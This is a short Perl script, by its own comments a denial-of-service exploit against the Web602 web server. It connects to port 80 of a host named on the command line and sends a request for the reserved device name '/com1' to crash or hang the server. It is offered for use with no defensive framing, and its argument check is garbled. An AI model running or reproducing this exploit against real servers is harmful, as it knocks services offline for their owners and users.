#!/usr/bin/perl

#qwick script for web602 webserver..
#written by eip aka deadbeat aka AnGrY_SQl

use IO::Socket;
print "\nWeb602 (czech version) DOS\n";
if (!$ARGV< 0) {
   print "Usage: perl $0 <host>\n";
}
$host = $ARGV[0];
$sox = IO::Socket::INET->new(
   Proto=>"tcp",
   PeerPort=>"80",
   PeerAddr=>$host,
);
print "Connected..DOS attempt now;)\n";
print $sox "GET /com1\r\n";
close $sox;
print "Done..\n";